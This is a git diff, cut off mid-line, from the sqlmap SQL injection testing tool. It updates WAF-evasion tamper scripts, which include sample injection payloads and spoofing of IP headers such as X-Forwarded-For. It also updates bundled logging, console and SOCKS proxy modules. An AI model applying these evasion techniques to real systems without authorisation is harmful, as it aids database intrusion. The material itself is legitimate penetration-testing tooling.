@@ def tamper(payload, **kwargs): """ - Replaces space character (' ') with a dash comment ('--') followed by - a random string and a new line ('\n') + Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') Requirement: * MSSQL diff --git a/tamper/space2hash.py b/tamper/space2hash.py index c21e3f04130..7acf8f6dcfc 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,8 +20,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a random string and a new line ('\n') + Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 0fa476d5973..3dd9a7f02f7 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with comments '/**_**/' + Replaces (MySQL) instances of space character (' ') with comments '/**_**/' Tested against: * MySQL 5.0 and 5.5 diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index aa5df6f1a5f..c722553b7d1 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -23,8 +23,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a random string and a new line ('\n') + Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL >= 5.1.13 diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 8a1ba82a4d9..37998f6eb22 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,8 +19,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters + Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * Microsoft SQL Server diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index e50a560c69a..d139f6b0cf8 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,8 +11,7 @@ def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a new line ('\n') + Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: * MSSQL diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index ed024252994..c28dc97dc41 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,8 +19,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters + Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * MySQL diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index f351079028c..1394d14d4a0 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,15 +18,12 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a dash comment ('--') followed by - a new line ('\n') + Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') Requirement: * MySQL * MSSQL - Tested against: - Notes: * Useful to bypass several web application firewalls. diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 1fa867490aa..06868cf3379 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,8 +17,7 @@ def tamper(payload, **kwargs): Replaces space character (' ') with plus ('+') Notes: - * Is this any useful? The plus get's url-encoded by sqlmap engine - invalidating the query afterwards + * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases >>> tamper('SELECT id FROM users') diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index c61a3a3f4dc..d8cd9423998 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,8 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters + Replaces space character (' ') with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index ea34b54c98b..6cac245b917 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,11 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re +import urllib from lib.core.enums import PRIORITY @@ -25,6 +26,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) + retVal = re.sub(r"(?i)\bAND\b", urllib.quote("&&"), re.sub(r"(?i)\bOR\b", urllib.quote("||"), payload)) return retVal diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index f5d759412e4..6d24acb062a 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces UNION ALL SELECT with UNION SELECT + Replaces instances of UNION ALL SELECT with UNION SELECT counterpart >>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT' diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index f26d0ac04bb..9cea29e05a4 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,8 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces quote character (') with a multi-byte combo %bf%27 together with - generic comment at the end (to make it work) + Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature @@ -26,7 +25,7 @@ def tamper(payload, **kwargs): * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string >>> tamper("1' AND 1=1") - '1%bf%27-- ' + '1%bf%27-- -' """ retVal = payload @@ -47,7 +46,7 @@ def tamper(payload, **kwargs): _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) if _ != retVal: retVal = _ - retVal += "-- " + retVal += "-- -" elif not any(_ in retVal for _ in ('#', '--', '/*')): - retVal += "-- " + retVal += "-- -" return retVal diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 64382c4e122..faec80704ba 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces each keyword character with upper case value + Replaces each keyword character with upper case value (e.g. select -> SELECT) Tested against: * Microsoft SQL Server 2005 diff --git a/tamper/varnish.py b/tamper/varnish.py index fdc6fb09bad..d37f4ae2f58 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,12 +14,12 @@ def dependencies(): def tamper(payload, **kwargs): """ - Append a HTTP header 'X-originating-IP' to bypass - WAF Protection of Varnish Firewall + Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall - Notes: - Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + Reference: + * http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + Notes: Examples: >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 920d88d18fc..af27d4cbe50 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,7 +20,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Encloses each non-function keyword with versioned MySQL comment + Encloses each non-function keyword with (MySQL) versioned comment Requirement: * MySQL diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 1fe5adf5636..4f926344228 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -21,7 +21,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Encloses each keyword with versioned MySQL comment + Encloses each keyword with (MySQL) versioned comment Requirement: * MySQL >= 5.1.13 diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 4374a4862b1..88845f8a6f4 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,16 +14,19 @@ def dependencies(): def randomIP(): numbers = [] + while not numbers or numbers[0] in (10, 172, 192): numbers = sample(xrange(1, 255), 4) + return '.'.join(str(_) for _ in numbers) def tamper(payload, **kwargs): """ - Append a fake HTTP header 'X-Forwarded-For' to bypass - WAF (usually application based) protection + Append a fake HTTP header 'X-Forwarded-For' """ headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = randomIP() + headers["X-Client-Ip"] = randomIP() + headers["X-Real-Ip"] = randomIP() return payload diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 9f3a6c5ec82..81bd880c385 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -1,6 +1,8 @@ # # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. +# (Note: 2018 modifications by @stamparm) # + import logging import os import re @@ -43,6 +45,7 @@ class ColorizingStreamHandler(logging.StreamHandler): } csi = '\x1b[' reset = '\x1b[0m' + bold = "\x1b[1m" disable_coloring = False @property @@ -127,9 +130,19 @@ def output_colorized(self, message): ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) - def colorize(self, message, record): - if record.levelno in self.level_map and self.is_tty: - bg, fg, bold = self.level_map[record.levelno] + def _reset(self, message): + if not message.endswith(self.reset): + reset = self.reset + elif self.bold in message: # bold + reset = self.reset + self.bold + else: + reset = self.reset + + return reset + + def colorize(self, message, levelno): + if levelno in self.level_map and self.is_tty: + bg, fg, bold = self.level_map[levelno] params = [] if bg in self.color_map: @@ -142,17 +155,50 @@ def colorize(self, message, record): params.append('1') if params and message: - if message.lstrip() != message: - prefix = re.search(r"\s+", message).group(0) - message = message[len(prefix):] + match = re.search(r"\A(\s+)", message) + prefix = match.group(1) if match else "" + + match = re.search(r"\[([A-Z ]+)\]", message) # log level + if match: + level = match.group(1) + if message.startswith(self.bold): + message = message.replace(self.bold, "") + reset = self.reset + self.bold + params.append('1') + else: + reset = self.reset + message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) + + match = re.search(r"\A\s*\[([\d:]+)\]", message) # time + if match: + time = match.group(1) + message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) + + match = re.search(r"\[(#\d+)\]", message) # counter + if match: + counter = match.group(1) + message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) + + if level != "PAYLOAD": + if any(_ in message for _ in ("parsed DBMS error message",)): + match = re.search(r": '(.+)'", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: - prefix = "" + message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + + if prefix: + message = "%s%s" % (prefix, message) - message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), - 'm', message, self.reset))) + message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch return message def format(self, record): message = logging.StreamHandler.format(self, record) - return self.colorize(message, record) + return self.colorize(message, record.levelno) diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 2c2a25f1496..59d2d59ca65 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -2455,7 +2455,7 @@ def __init__(self, type, name, attrs, index=None): # IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it # blank, Konqueror 3.1 defaults to "Submit". HTML spec. doesn't seem # to define this. - if self.value is None and not self.disabled: self.value = "" + if self.value is None and not self.disabled and not self.readonly: self.value = "" self.readonly = True def get_labels(self): diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py index b7ff6f2136e..e2a43a54499 100644 --- a/thirdparty/colorama/ansitowin32.py +++ b/thirdparty/colorama/ansitowin32.py @@ -171,9 +171,19 @@ def write_and_convert(self, text): def write_plain_text(self, text, start, end): if start < end: - self.wrapped.write(text[start:end]) + self._write(text[start:end]) self.wrapped.flush() + # Reference: https://github.com/robotframework/robotframework/commit/828c67695d85519e4435c556c43ed1b00985df05 + # Workaround for Windows 10 console bug: + # https://github.com/robotframework/robotframework/issues/2709 + def _write(self, text, retry=5): + try: + self.wrapped.write(text) + except IOError, err: + if not (err.errno == 0 and retry > 0): + raise + self._write(text, retry-1) def convert_ansi(self, paramstring, command): if self.convert: diff --git a/thirdparty/colorama/winterm.py b/thirdparty/colorama/winterm.py index 60309d3c07a..b7c2404b74b 100644 --- a/thirdparty/colorama/winterm.py +++ b/thirdparty/colorama/winterm.py @@ -128,6 +128,8 @@ def erase_screen(self, mode=0, on_stderr=False): elif mode == 2: from_coord = win32.COORD(0, 0) cells_to_erase = cells_in_screen + else: + return # fill the entire screen with blanks win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) # now set the buffer's attributes accordingly @@ -153,6 +155,8 @@ def erase_line(self, mode=0, on_stderr=False): elif mode == 2: from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) cells_to_erase = csbi.dwSize.X + else: + return # fill the entire screen with blanks win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) # now set the buffer's attributes accordingly diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 4dab15a1ef1..2eaf223d875 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -1,6 +1,7 @@ -""" -SocksiPy - Python SOCKS module. -Version 1.5.7 +#!/usr/bin/env python + +"""SocksiPy - Python SOCKS module. +Version 1.00 Copyright 2006 Dan-Haim. All rights reserved. @@ -29,7 +30,11 @@ This module provides a standard socket-like interface for Python for tunneling connections through SOCKS proxies. -=============================================================================== +""" + +""" +Minor modifications made by Miroslav Stampar (http://sqlmap.org/) +for patching DNS-leakage occuring in socket.create_connection() Minor modifications made by Christopher Gilbert (http://motomastyle.com/) for use in PyLoris (http://pyloris.sourceforge.net/) @@ -37,735 +42,368 @@ Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) mainly to merge bug fixes found in Sourceforge -Modifications made by Anorov (https://github.com/Anorov) --Forked and renamed to PySocks --Fixed issue with HTTP proxy failure checking (same bug that was in the old ___recvall() method) --Included SocksiPyHandler (sockshandler.py), to be used as a urllib2 handler, - courtesy of e000 (https://github.com/e000): https://gist.github.com/869791#file_socksipyhandler.py --Re-styled code to make it readable - -Aliased PROXY_TYPE_SOCKS5 -> SOCKS5 etc. - -Improved exception handling and output - -Removed irritating use of sequence indexes, replaced with tuple unpacked variables - -Fixed up Python 3 bytestring handling - chr(0x03).encode() -> b"\x03" - -Other general fixes --Added clarification that the HTTP proxy connection method only supports CONNECT-style tunneling HTTP proxies --Various small bug fixes """ -__version__ = "1.5.7" - import socket import struct -from errno import EOPNOTSUPP, EINVAL, EAGAIN -from io import BytesIO -from os import SEEK_CUR -from collections import Callable -from base64 import b64encode - -PROXY_TYPE_SOCKS4 = SOCKS4 = 1 -PROXY_TYPE_SOCKS5 = SOCKS5 = 2 -PROXY_TYPE_HTTP = HTTP = 3 -PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP} -PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys())) +PROXY_TYPE_SOCKS4 = 1 +PROXY_TYPE_SOCKS5 = 2 +PROXY_TYPE_HTTP = 3 +_defaultproxy = None socket._orig_socket = _orgsocket = _orig_socket = socket.socket _orgcreateconnection = socket.create_connection -class ProxyError(IOError): - """ - socket_err contains original socket.error exception. - """ - def __init__(self, msg, socket_err=None): - self.msg = msg - self.socket_err = socket_err - - if socket_err: - self.msg += ": {0}".format(socket_err) - - def __str__(self): - return self.msg - +class ProxyError(Exception): pass class GeneralProxyError(ProxyError): pass -class ProxyConnectionError(ProxyError): pass -class SOCKS5AuthError(ProxyError): pass -class SOCKS5Error(ProxyError): pass -class SOCKS4Error(ProxyError): pass +class Socks5AuthError(ProxyError): pass +class Socks5Error(ProxyError): pass +class Socks4Error(ProxyError): pass class HTTPError(ProxyError): pass -SOCKS4_ERRORS = { 0x5B: "Request rejected or failed", - 0x5C: "Request rejected because SOCKS server cannot connect to identd on the client", - 0x5D: "Request rejected because the client program and identd report different user-ids" - } - -SOCKS5_ERRORS = { 0x01: "General SOCKS server failure", - 0x02: "Connection not allowed by ruleset", - 0x03: "Network unreachable", - 0x04: "Host unreachable", - 0x05: "Connection refused", - 0x06: "TTL expired", - 0x07: "Command not supported, or protocol error", - 0x08: "Address type not supported" - } - -DEFAULT_PORTS = { SOCKS4: 1080, - SOCKS5: 1080, - HTTP: 8080 - } - -def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None): - """ - set_default_proxy(proxy_type, addr[, port[, rdns[, username, password]]]) - +_generalerrors = ("success", + "invalid data", + "not connected", + "not available", + "bad proxy type", + "bad input") + +_socks5errors = ("succeeded", + "general SOCKS server failure", + "connection not allowed by ruleset", + "Network unreachable", + "Host unreachable", + "Connection refused", + "TTL expired", + "Command not supported", + "Address type not supported", + "Unknown error") + +_socks5autherrors = ("succeeded", + "authentication is required", + "all offered authentication methods were rejected", + "unknown username or invalid password", + "unknown error") + +_socks4errors = ("request granted", + "request rejected or failed", + "request rejected because SOCKS server cannot connect to identd on the client", + "request rejected because the client program and identd report different user-ids", + "unknown error") + +def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): + """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets a default proxy which all further socksocket objects will use, - unless explicitly changed. All parameters are as for socket.set_proxy(). + unless explicitly changed. """ - socksocket.default_proxy = (proxy_type, addr, port, rdns, - username.encode() if username else None, - password.encode() if password else None) - -setdefaultproxy = set_default_proxy + global _defaultproxy + _defaultproxy = (proxytype, addr, port, rdns, username, password) -def get_default_proxy(): - """ - Returns the default proxy, set by set_default_proxy. - """ - return socksocket.default_proxy - -getdefaultproxy = get_default_proxy - -def wrap_module(module): - """ +def wrapmodule(module): + """wrapmodule(module) Attempts to replace a module's socket library with a SOCKS socket. Must set - a default proxy using set_default_proxy(...) first. + a default proxy using setdefaultproxy(...) first. This will only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. """ - if socksocket.default_proxy: + if _defaultproxy != None: module.socket.socket = socksocket + module.socket.create_connection = create_connection else: - raise GeneralProxyError("No default proxy specified") + raise GeneralProxyError((4, "no proxy specified")) -def unwrap_module(module): +def unwrapmodule(module): module.socket.socket = _orgsocket module.socket.create_connection = _orgcreateconnection -wrapmodule = wrap_module -unwrapmodule = unwrap_module - -def create_connection(dest_pair, proxy_type=None, proxy_addr=None, - proxy_port=None, proxy_rdns=True, - proxy_username=None, proxy_password=None, - timeout=None, source_address=None, - socket_options=None): - """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object - - Like socket.create_connection(), but connects to proxy - before returning the socket object. - - dest_pair - 2-tuple of (IP/hostname, port). - **proxy_args - Same args passed to socksocket.set_proxy() if present. - timeout - Optional socket timeout value, in seconds. - source_address - tuple (host, port) for the socket to bind to as its source - address before connecting (only for compatibility) - """ - # Remove IPv6 brackets on the remote address and proxy address. - remote_host, remote_port = dest_pair - if remote_host.startswith('['): - remote_host = remote_host.strip('[]') - if proxy_addr and proxy_addr.startswith('['): - proxy_addr = proxy_addr.strip('[]') - - err = None - - # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses. - for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM): - family, socket_type, proto, canonname, sa = r - sock = None - try: - sock = socksocket(family, socket_type, proto) - - if socket_options: - for opt in socket_options: - sock.setsockopt(*opt) - - if isinstance(timeout, (int, float)): - sock.settimeout(timeout) - - if proxy_type: - sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns, - proxy_username, proxy_password) - if source_address: - sock.bind(source_address) - - sock.connect((remote_host, remote_port)) - return sock - - except (socket.error, ProxyConnectionError) as e: - err = e - if sock: - sock.close() - sock = None - - if err: - raise err - - raise socket.error("gai returned empty list.") - -class _BaseSocket(socket.socket): - """Allows Python 2's "delegated" methods such as send() to be overridden - """ - def __init__(self, *pos, **kw): - _orig_socket.__init__(self, *pos, **kw) - - self._savedmethods = dict() - for name in self._savenames: - self._savedmethods[name] = getattr(self, name) - delattr(self, name) # Allows normal overriding mechanism to work - - _savenames = list() - -def _makemethod(name): - return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw) -for name in ("sendto", "send", "recvfrom", "recv"): - method = getattr(_BaseSocket, name, None) - - # Determine if the method is not defined the usual way - # as a function in the class. - # Python 2 uses __slots__, so there are descriptors for each method, - # but they are not functions. - if not isinstance(method, Callable): - _BaseSocket._savenames.append(name) - setattr(_BaseSocket, name, _makemethod(name)) - -class socksocket(_BaseSocket): +class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object - Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, - you must specify family=AF_INET and proto=0. - The "type" argument must be either SOCK_STREAM or SOCK_DGRAM. + you must specify family=AF_INET, type=SOCK_STREAM and proto=0. """ - default_proxy = None - - def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs): - if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM): - msg = "Socket type must be stream or datagram, not {!r}" - raise ValueError(msg.format(type)) - - _BaseSocket.__init__(self, family, type, proto, *args, **kwargs) - self._proxyconn = None # TCP connection to keep UDP relay alive - - if self.default_proxy: - self.proxy = self.default_proxy + def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): + _orgsocket.__init__(self, family, type, proto, _sock) + if _defaultproxy != None: + self.__proxy = _defaultproxy else: - self.proxy = (None, None, None, None, None, None) - self.proxy_sockname = None - self.proxy_peername = None + self.__proxy = (None, None, None, None, None, None) + self.__proxysockname = None + self.__proxypeername = None - def _readall(self, file, count): - """ - Receive EXACTLY the number of bytes requested from the file object. + def __recvall(self, count): + """__recvall(count) -> data + Receive EXACTLY the number of bytes requested from the socket. Blocks until the required number of bytes have been received. """ - data = b"" + data = self.recv(count) while len(data) < count: - d = file.read(count - len(data)) - if not d: - raise GeneralProxyError("Connection closed unexpectedly") - data += d + d = self.recv(count-len(data)) + if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) + data = data + d return data - def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None): - """set_proxy(proxy_type, addr[, port[, rdns[, username[, password]]]]) + def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): + """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets the proxy to be used. - - proxy_type - The type of the proxy to be used. Three types - are supported: PROXY_TYPE_SOCKS4 (including socks4a), - PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP + proxytype - The type of the proxy to be used. Three types + are supported: PROXY_TYPE_SOCKS4 (including socks4a), + PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP addr - The address of the server (IP or DNS). port - The port of the server. Defaults to 1080 for SOCKS - servers and 8080 for HTTP proxy servers. - rdns - Should DNS queries be performed on the remote side - (rather than the local side). The default is True. - Note: This has no effect with SOCKS4 servers. + servers and 8080 for HTTP proxy servers. + rdns - Should DNS queries be preformed on the remote side + (rather than the local side). The default is True. + Note: This has no effect with SOCKS4 servers. username - Username to authenticate with to the server. - The default is no authentication. + The default is no authentication. password - Password to authenticate with to the server. - Only relevant when username is also provided. + Only relevant when username is also provided. """ - self.proxy = (proxy_type, addr, port, rdns, - username.encode() if username else None, - password.encode() if password else None) - - setproxy = set_proxy + self.__proxy = (proxytype, addr, port, rdns, username, password) - def bind(self, *pos, **kw): + def __negotiatesocks5(self, destaddr, destport): + """__negotiatesocks5(self,destaddr,destport) + Negotiates a connection through a SOCKS5 server. """ - Implements proxy connection for UDP sockets, - which happens during the bind() phase. - """ - proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy - if not proxy_type or self.type != socket.SOCK_DGRAM: - return _orig_socket.bind(self, *pos, **kw) - - if self._proxyconn: - raise socket.error(EINVAL, "Socket already bound to an address") - if proxy_type != SOCKS5: - msg = "UDP only supported by SOCKS5 proxy type" - raise socket.error(EOPNOTSUPP, msg) - _BaseSocket.bind(self, *pos, **kw) - - # Need to specify actual local port because - # some relays drop packets if a port of zero is specified. - # Avoid specifying host address in case of NAT though. - _, port = self.getsockname() - dst = ("0", port) - - self._proxyconn = _orig_socket() - proxy = self._proxy_addr() - self._proxyconn.connect(proxy) - - UDP_ASSOCIATE = b"\x03" - _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst) - - # The relay is most likely on the same host as the SOCKS proxy, - # but some proxies return a private IP address (10.x.y.z) - host, _ = proxy - _, port = relay - _BaseSocket.connect(self, (host, port)) - self.proxy_sockname = ("0.0.0.0", 0) # Unknown - - def sendto(self, bytes, *args, **kwargs): - if self.type != socket.SOCK_DGRAM: - return _BaseSocket.sendto(self, bytes, *args, **kwargs) - if not self._proxyconn: - self.bind(("", 0)) - - address = args[-1] - flags = args[:-1] - - header = BytesIO() - RSV = b"\x00\x00" - header.write(RSV) - STANDALONE = b"\x00" - header.write(STANDALONE) - self._write_SOCKS5_address(address, header) - - sent = _BaseSocket.send(self, header.getvalue() + bytes, *flags, **kwargs) - return sent - header.tell() - - def send(self, bytes, flags=0, **kwargs): - if self.type == 